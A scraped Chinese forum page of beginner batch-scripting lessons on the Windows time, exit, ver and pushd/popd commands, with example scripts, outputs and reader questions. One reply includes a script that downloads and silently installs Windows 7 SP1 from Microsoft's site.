  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（26）获取系统时间：time
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-8-25 17:10 | 只看该作者

[原创] 【续】[一日一教学]（26）获取系统时间：time

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 显示或设置系统时间。

  2.

  3. TIME [/T | time]

  4.

  5. 显示当前时间设置和输入新时间的提示，请键入

  6. 不带参数的 TIME。要保留现有时间，请按 Enter。

  7.

  8. 如果命令扩展被启用，TIME 命令会支持 /T 命令行开关；该命令行开关告诉

  9. 命令只输出当前时间，但不提示输入新时间。
复制代码
命令概括：
time，全英文time，意为：时间。
time命令和date命令非常的相似，除了date和time本身不同外，其它的都一模一样。

设置时间，输入光杆的time，然后在输入要修改的时间。
例如：
  1. C:\Users\helloworld>time

  2. 当前时间: 16:59:33.80

  3. 输入新时间: 17:59
复制代码
再次查看时间，只查看，不修改，加上/t参数。
例如：
  1. C:\Users\helloworld>time /t

  2. 17:59
复制代码
时间快了1小时，呵呵。

同样的也可以直接修改。
例如：
  1. C:\Users\helloworld>time 18:59

  2.

  3. C:\Users\helloworld>time /t

  4. 18:59
复制代码
再快上1小时。

扩展阅读：
都说了一模一样，date有%date%，time自然也有%time%。

%time%也和%date%一样，只可以查看，但不能修改。
例如：
  1. @Echo Off

  2. Set time=20:00

  3. Echo %time%

  4. time /t

  5. Pause>Nul
复制代码
显示结果：
  1. 20:00

  2. 19:00
复制代码
利用%time%环境变量查看时间：
  1. C:\Users\helloworld>echo %time%

  2. 19:02:33.00
复制代码
date、time的两篇教程做完，我的日期、时间也都混乱了，等下得都改过来。

百度、google都是有时钟的，输入 时间、日期可以得到正确的回馈。
1

评分人数

    • lfoqtal: 乐于助人技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

xslxslxsl
  • 发短消息
  • 加为好友

xslxslxsl 当前离线

UID
36358
帖子
219
精华
0
积分
278
PB
263
技术
5
捐助
0
阅读权限
20
在线时间
95 小时
注册时间
2011-4-13
最后登录
2017-10-30

四级士官

帖子
219
积分
278
技术
5
捐助
0
注册时间
2011-4-13
2楼
发表于 2011-8-25 21:29 | 只看该作者
谢谢，我在此学习过了
回复 引用

评分 报告 TOP

lfoqtal
  • 发短消息
  • 加为好友

lfoqtal 当前离线

UID
40258
帖子
63
精华
0
积分
109
PB
97
技术
4
捐助
0
阅读权限
20
在线时间
15 小时
注册时间
2011-7-29
最后登录
2014-3-18

一级士官

帖子
63
积分
109
技术
4
捐助
0
注册时间
2011-7-29
3楼
发表于 2011-8-26 06:49 | 只看该作者
顶一下埋头苦干的人，努力啊
希望能在教学中多点小偏方
通用简洁实用就是批处理精神
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
4楼
发表于 2011-8-26 09:38 | 只看该作者
回复 3# lfoqtal

具体是指哪些偏方呢？
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

surup
  • 发短消息
  • 加为好友

surup 当前离线

UID
38479
帖子
23
精华
0
积分
35
PB
35
技术
0
捐助
0
阅读权限
5
来自
江苏无锡
在线时间
21 小时
注册时间
2011-6-11
最后登录
2012-4-29

列兵

帖子
23
积分
35
技术
0
捐助
0
注册时间
2011-6-11
5楼
发表于 2011-12-9 22:53 | 只看该作者
time [/t] [/time] [hours:[minutes[:seconds[.hundredths]]][{A|P}]]
指定 12 小时时间格式为 A.M 或 P.M。如果键入了有效的 12 小时时间，但没有键入 A 或 P，time 将使用 A 来代表 A.M。
范例
要将计算机时钟设置为 1:36 P.M.，请键入以下任意一条命令：
time 13:36
time 1:36P

我想问的是 现在time是不是没有A|P功能了？
大学不迷茫，毕业即辉煌！
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
6楼
发表于 2011-12-12 12:38 | 只看该作者
本帖最后由 Hello123World 于 2011-12-12 14:23 编辑

搞错
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

HAT
  • 发短消息
  • 加为好友

HAT 当前离线

UID
4024
帖子
378
精华
0
积分
1149
PB
1071
技术
26
捐助
0
阅读权限
50
在线时间
83 小时
注册时间
2008-8-21
最后登录
2018-4-9

上尉

帖子
378
积分
1149
技术
26
捐助
0
注册时间
2008-8-21
7楼
发表于 2011-12-12 13:31 | 只看该作者
回复 5# surup

你这个帮助信息是在什么系统里面得到的？
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
8楼
发表于 2011-12-12 14:17 | 只看该作者
回复 7# HAT

那不是系统自带的帮助信息，是微软出的官方帮助文档（是否官方，不确定）。ntcmds.chm
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:14, Processed in 0.047751 second(s), 8 queries, Gzip enabled.


27、退出CMD窗口：exit

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（27）退出CMD窗口：exit
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-10-11 17:14 | 只看该作者

[原创] 【续】[一日一教学]（27）退出CMD窗口：exit

本帖最后由 Hello123World 于 2011-10-12 16:12 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 退出 CMD.EXE 程序(命令解释器)或当前批处理脚本。

  2.

  3. EXIT [/B] [exitCode]

  4.

  5.   /B          指定要退出当前批处理脚本而不是 CMD.EXE。如果从一个

  6.               批处理脚本外执行，则会退出 CMD.EXE

  7.

  8.   exitCode    指定一个数字号码。如果指定了 /B，将 ERRORLEVEL

  9.               设成那个数字。如果退出 CMD.EXE，则用那个数字设置

  10.               过程退出代码。
复制代码
命令概括：
exit，意为“退出”；
/b，全英文batch（不确定）；
code，意为“代码”，exitcode就是“退出码”；

参数详解：
1.退出命令解释器；
脚本的运行都依赖解释器，批处理依赖cmd.exe，vbs依赖wscript.exe，没有解释器，脚本都不能运行。
  1. @echo off

  2. echo hello

  3. exit

  4. echo world

  5. pause
复制代码
exit 是退出解释器，造成world不显示，pause不执行。

2.退出当前批处理脚本；
乍一看，觉得和第一没什么区别，但事实上区别很大。

试着运行下面的代码，比较其中差别：

保存两个批处理，分别命名test、a；运行test.bat；

test.bat
  1. @echo off

  2. echo 这是test.bat

  3. echo 调用a.bat之前的状态

  4. call a.bat

  5. echo 调用a.bat之后的状态

  6. echo %errorlevel%

  7. pause
复制代码
a.bat
  1. @echo off

  2. echo.

  3. echo 这是a.BAT文件

  4. echo.

  5. exit /b
复制代码
现在把a.bat的内容替换成：
  1. @echo off

  2. echo.

  3. echo 这是a.BAT文件

  4. echo.

  5. exit /b 12
复制代码
再次运行test.bat

如果你细心的话，就会发现errorlevel的值变了，默认是0，/b 12之后就是12了。

没错，EXIT [/B] [exitCode]中[exitCode]就是用来设置，退出码errorlevel的值。

那么/b又有什么用呢？

正如那句话所说，
要知道一件事物的重要性，那就看看没有这件事物时世界会是怎样。

继续将a.bat的内容替换：
  1. @echo off

  2. echo.

  3. echo 这是a.BAT文件

  4. echo.

  5. exit
复制代码
再次运行test.bat

结果，黑框一闪而过，因为这三条语句都没有执行，
  1. echo 调用a.bat之后的状态

  2. echo %errorlevel%

  3. pause
复制代码
因此exit /b是用来退出批处理脚本的，而exit是用来退出解释器的；

可以这么理解，exit /b 退出子进程，而exit则退出父进程，子进程结束不影响父进程的执行，但是父进程结束那就是彻底的结束。

（当然，如果只有一个进程，exit /b也是能结束父进程的）。

exit /b 一般和call 一起使用。

扩展阅读：
无。
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

zaixinxiangnian
  • 发短消息
  • 加为好友

zaixinxiangnian 当前离线

UID
22805
帖子
144
精华
0
积分
153
PB
144
技术
3
捐助
0
阅读权限
20
在线时间
72 小时
注册时间
2010-3-24
最后登录
2014-1-21

二级士官

帖子
144
积分
153
技术
3
捐助
0
注册时间
2010-3-24
2楼
发表于 2011-10-11 20:04 | 只看该作者
回复 1# Hello123World
  1. 默认是0，/b 12之后就是12了。
复制代码
这句是不是多了个“12”啊
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
3楼
发表于 2011-10-11 22:43 | 只看该作者
回复 2# zaixinxiangnian

我是故意这么写的，/b 6之后就是6了，为了强调数字。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

Fantasys
  • 发短消息
  • 加为好友

Fantasys 当前离线

UID
42536
帖子
18
精华
0
积分
19
PB
19
技术
0
捐助
0
阅读权限
5
在线时间
4 小时
注册时间
2011-10-11
最后登录
2012-1-1

列兵

帖子
18
积分
19
技术
0
捐助
0
注册时间
2011-10-11
4楼
发表于 2011-10-13 12:24 | 只看该作者
如果for语句里调用一个标签，我想让当次循环在调用标签后就不再运行后面的for语句，而运行下一循环，能不能做到？
而且，这个标签可能并不是第一个标签，即它后面还有标签。
回复 引用

评分 报告 TOP

Fantasys
  • 发短消息
  • 加为好友

Fantasys 当前离线

UID
42536
帖子
18
精华
0
积分
19
PB
19
技术
0
捐助
0
阅读权限
5
在线时间
4 小时
注册时间
2011-10-11
最后登录
2012-1-1

列兵

帖子
18
积分
19
技术
0
捐助
0
注册时间
2011-10-11
5楼
发表于 2011-10-13 12:29 | 只看该作者
还有，有没有办法根据这个exitcode来判断调用程序里的语句有没有顺利执行？
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
6楼
发表于 2011-10-13 13:14 | 只看该作者
回复 4# Fantasys

exit /b 和call一起用，call调用的不是标签（虽然可以调用标签），而是另一个bat。

标签不会生成新的cmd进程，exit /b没有用武之地。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:15, Processed in 0.039790 second(s), 7 queries, Gzip enabled.


28、查看系统版本：ver

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（28）查看系统版本：ver
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-9-7 13:00 | 只看该作者

[原创] 【续】[一日一教学]（28）查看系统版本：ver

本帖最后由 Hello123World 于 2011-9-8 15:24 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. C:\Users\helloworld\Desktop>ver /?

  2. 显示 Windows 版本。

  3.

  4. VER
复制代码
命令概括：
ver，全英文version，意为：版本，译文；

参数详解：
简单程度与cls不相上下，直接输入ver，就会显示当前系统版本。
例如：
  1. C:\Users\helloworld\Desktop>ver

  2.

  3. Microsoft Windows [版本 6.1.7600]
复制代码
扩展阅读：
windows（内含各版本介绍）：http://zh.wikipedia.org/wiki/Microsoft_Windows
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

xslxslxsl
  • 发短消息
  • 加为好友

xslxslxsl 当前离线

UID
36358
帖子
219
精华
0
积分
278
PB
263
技术
5
捐助
0
阅读权限
20
在线时间
95 小时
注册时间
2011-4-13
最后登录
2017-10-30

四级士官

帖子
219
积分
278
技术
5
捐助
0
注册时间
2011-4-13
2楼
发表于 2011-9-7 14:21 | 只看该作者
的确是很简单的哦。谢谢楼主的指教。
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前在线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5843 小时
注册时间
2008-6-9
最后登录
2018-6-3

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
3楼
发表于 2011-9-7 18:33 | 只看该作者
内含更版本介绍

跟？
1

评分人数

    • Hello123World: 这都被你发现了，嘿嘿PB + 1
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

fastslz
  • 发短消息
  • 加为好友

fastslz 当前离线

UID
277
帖子
295
精华
1
积分
1210
PB
1087
技术
41
捐助
0
阅读权限
254
在线时间
639 小时
注册时间
2008-1-7
最后登录
2016-4-24

贵宾

帖子
295
积分
1210
技术
41
捐助
0
注册时间
2008-1-7
4楼
发表于 2011-9-7 18:35 | 只看该作者
Hello123World 你也太低调了吧，7 SP2都快出来了，你居然SP1包都没装！太对不起鲍尔默一份心意了^_^
  1. @echo off

  2. rem ver扩展应用，判断系统是否为Windows 7 SP1,否则利用wget下载更新后自动安装

  3. ver|find "6.1.7601"||(

  4. if "%PROCESSOR_ARCHITECTURE%"=="AMD64" (

  5. wget -N http://download.microsoft.com/download/0/A/F/0AFB5316-3062-494A-AB78-7FB0D4461357/windows6.1-KB976932-X64.exe

  6. windows6.1-KB976932-X64.exe /Quiet /Passive /update-no

  7. ) else (

  8. wget -N http://download.microsoft.com/download/0/A/F/0AFB5316-3062-494A-AB78-7FB0D4461357/windows6.1-KB976932-X86.exe

  9. windows6.1-KB976932-X86.exe /Quiet /Passive /update-no

  10. ))
复制代码
1

评分人数

    • Hello123World: 这个我还真不知道。技术 + 1
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
5楼
发表于 2011-9-7 21:29 | 只看该作者
本帖最后由 Hello123World 于 2011-9-7 21:35 编辑

回复 4# fastslz

sp1除了安全性，还有什么有趣的更新吗？

还有就是，我是盗版的系统，这能更吗
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

fastslz
  • 发短消息
  • 加为好友

fastslz 当前离线

UID
277
帖子
295
精华
1
积分
1210
PB
1087
技术
41
捐助
0
阅读权限
254
在线时间
639 小时
注册时间
2008-1-7
最后登录
2016-4-24

贵宾

帖子
295
积分
1210
技术
41
捐助
0
注册时间
2008-1-7
6楼
发表于 2011-9-7 23:23 | 只看该作者
居然不打自招呀
鲍尔默还是很仁慈的
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
7楼
发表于 2011-9-8 15:22 | 只看该作者
回复 6# fastslz

哦哦，那找个时间更新一下
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:15, Processed in 0.044699 second(s), 8 queries, Gzip enabled.


29、返回到上次路径：pushd/popd

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:
加载中...

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（29）返回到上次路径：pushd/popd
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-9-8 16:44 | 只看该作者

[原创] 【续】[一日一教学]（29）返回到上次路径：pushd/popd

本帖最后由 Hello123World 于 2011-9-9 16:48 编辑

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. C:\Users\helloworld\Desktop>pushd /?

  2. 保存当前目录以供 POPD 命令使用，然后改到指定的目录。

  3.

  4. PUSHD [path | ..]

  5.

  6.   path        指定要成为当前目录的目录。

  7.

  8. 如果命令扩展被启用，除了一般驱动器号和路径，PUSHD

  9. 命令还接受网络路径。如果指定了网络路径，PUSHD 将创建一个

  10. 指向指定网络资源的临时驱动器号，然后再用刚定义的驱动器

  11. 号更改当前的驱动器和目录。可以从 Z: 往下分配临时驱动器

  12. 号，使用找到的第一个没有用过的驱动器号。

  13.

  14. C:\Users\helloworld\Desktop>popd/?

  15. 更改到 PUSHD 命令存储的目录。

  16.

  17. POPD

  18.

  19.

  20. 如果命令扩展被启用，从推目录堆栈 POPD 驱动器时，POPD

  21. 命令会删除 PUSHD 创建的临时驱动器号。
复制代码
命令概括：
pushd，全英文push directory，push意为：增加、入栈；这里可以引申为保存。
popd，全英文pop directory，pop意为：取出、抛出；这里取第一个意思即可。
path，全英文path，意为：道路、小路；计算机中一般引申为路径。

参数详解：

这里先从保存，即pushd说起。

pushd有两个参数。
例如：
  1. PUSHD [path | ..]
复制代码
保存当前目录以供 POPD 命令使用，然后改到指定的目录。

pushd path用来指定特定路径。
例如：
  1. C:\Users\helloworld\Desktop>pushd c:\hello

  2.

  3. c:\hello>pushd d:\

  4.

  5. d:\>
复制代码
可以看出，pushd在保存当前路径的同时，还具有跳转到指定路径的功能，从某种意义上等同于加强版的cd（跳驱动cd 还要加 /d参数呢）；

用popd还原到原有路径。
例如：
  1. C:\Users\helloworld\Desktop>pushd c:\hello

  2.

  3. c:\hello>popd

  4.

  5. C:\Users\helloworld\Desktop>
复制代码
popd的瞬间还原，如果需要是在两个目录之间切换执行操作，这两命令就是至宝。

pushd .. 用来指定上层目录，学过cd ..的同学是可以很快理解的；
例如：
  1. C:\Users\helloworld\Desktop>pushd ..

  2.

  3. C:\Users\helloworld>
复制代码
效果：保存当前路径，并且跳转到上层路径。

用popd来还原。
例如：
  1. C:\Users\helloworld\Desktop>pushd ..

  2.

  3. C:\Users\helloworld>popd

  4.

  5. C:\Users\helloworld\Desktop>
复制代码
显示当前目录和指定目录的批处理。
例如：
  1. @echo off

  2. md c:\hello 2>nul

  3. pushd c:\hello

  4. dir

  5. popd

  6. dir

  7. pause>nul
复制代码
效果：
  1.  驱动器 C 中的卷是 System

  2.  卷的序列号是 441A-9B85

  3.

  4.  c:\hello 的目录

  5.

  6. 2011/08/13  14:14    <DIR>          .

  7. 2011/08/13  14:14    <DIR>          ..

  8. 2011/08/24  12:16             1,297 1.txt

  9. 2011/07/23  14:52               544 2.txt

  10. 2011/07/22  13:49             4,649 a.TXT

  11. 2011/07/23  15:32             7,816 Batch external command.txt

  12. 2011/05/15  12:00             4,058 help.txt

  13. 2011/01/15  11:58             1,250 PPTV在线影视.lnk

  14. 2011/01/15  11:58             1,108 PP游戏世界.lnk

  15. 2011/08/13  14:13                76 test.bat

  16. 2011/07/09  12:47               425 test.txt

  17. 2011/05/29  16:02               613 win7 help比xp help多出来的命令.txt

  18. 2011/05/22  15:29             7,354 wmic.txt

  19. 2011/08/13  14:12    <DIR>          world

  20. 2011/01/13  16:05             1,087 WPS文字.lnk

  21. 2011/01/13  16:05             1,093 WPS演示.lnk

  22. 2011/01/13  16:05             1,082 WPS表格.lnk

  23. 2011/01/13  05:19               915 华军软件高速下载器 1.11 Beta.exe - 快捷方式.

  24. lnk

  25. 2010/12/14  23:28               637 咔咕.lnk

  26. 2011/08/13  14:14    <DIR>          新建文件夹

  27. 2010/12/20  22:42               616 热门游戏推荐.lnk

  28. 2010/12/06  23:33             1,850 爱酷2.1.lnk

  29. 2011/01/10  20:25               893 网络媒体播放器.lnk

  30. 2011/01/19  01:50             1,260 迅雷游戏-女生免单.lnk

  31. 2011/01/19  01:50             1,250 迅雷看看-免费高清影视.lnk

  32. 2011/01/06  01:54             1,240 迅雷看看-免费高清电影.lnk

  33. 2011/01/06  01:54             1,125 迅雷看看播放器.lnk

  34. 2011/01/19  01:50             2,727 迅雷软件中心.lnk

  35. 2010/12/20  22:42               620 酷狗音乐2010.lnk

  36. 2010/12/20  22:42               496 酷狗音乐文件夹.lnk

  37. 2011/02/06  16:37               920 飞秋FeiQ.exe - 快捷方式.lnk

  38.               27 个文件         47,001 字节

  39.                4 个目录  6,084,116,480 可用字节

  40.  驱动器 C 中的卷是 System

  41.  卷的序列号是 441A-9B85

  42.

  43.  C:\Users\helloworld\Desktop 的目录

  44.

  45. 2011/09/08  16:15    <DIR>          .

  46. 2011/09/08  16:15    <DIR>          ..

  47. 2011/08/24  12:16               993 02.txt

  48. 2011/09/08  16:15             2,106 1.txt

  49. 2011/09/08  15:33                74 2.bat

  50. 2011/08/24  23:49               841 3.txt

  51. 2011/08/19  22:18             1,315 48个音标视屏提取器.bat

  52. 2011/09/08  11:57    <DIR>          520

  53. 2011/08/20  14:57               210 a.txt

  54. 2011/06/30  14:36             1,038 aboboo.lnk

  55. 2011/08/16  13:24           747,392 BaiduHelpBook.chm

  56. 2011/08/04  14:14               950 Batch external command.txt - 快捷方式.lnk

  57. 2011/08/27  15:29               299 clip.txt

  58. 2011/08/20  00:53                64 clip1.bat

  59. 2011/02/04  16:51               239 Google 翻译.url

  60. 2011/09/08  16:30                82 hello.bat

  61. 2011/09/01  12:21             4,036 help.txt

  62. 2011/01/02  12:14             1,207 HprSnap6.exe.lnk

  63. 2011/07/06  22:47             1,346 Internet Explorer.lnk

  64. 2011/09/07  18:56             4,631 MyRarHelp.txt

  65. 2011/06/30  01:13               649 QQ影音.lnk

  66. 2011/07/11  16:22               814 Script56.CHM - 快捷方式.lnk

  67. 2011/08/24  22:06               205 test.bat

  68. 2011/07/28  21:54               649 test.txt

  69. 2011/09/05  19:20               153 test.vbs

  70. 2009/09/21  23:24               845 VB6企业版.EXE.lnk

  71. 2011/08/13  22:41             2,296 Windows Live Writer.lnk

  72. 2011/08/25  09:51               147 两大搜索引擎集合器.bat

  73. 2010/11/21  04:22               948 傲游浏览器2.lnk

  74. 2010/12/31  15:14               506 司马懿.exe.lnk

  75. 2011/01/23  14:26             1,792 命令提示符.lnk

  76. 2011/09/02  10:15    <DIR>          娱乐

  77. 2011/07/31  22:37    <DIR>          安全工具

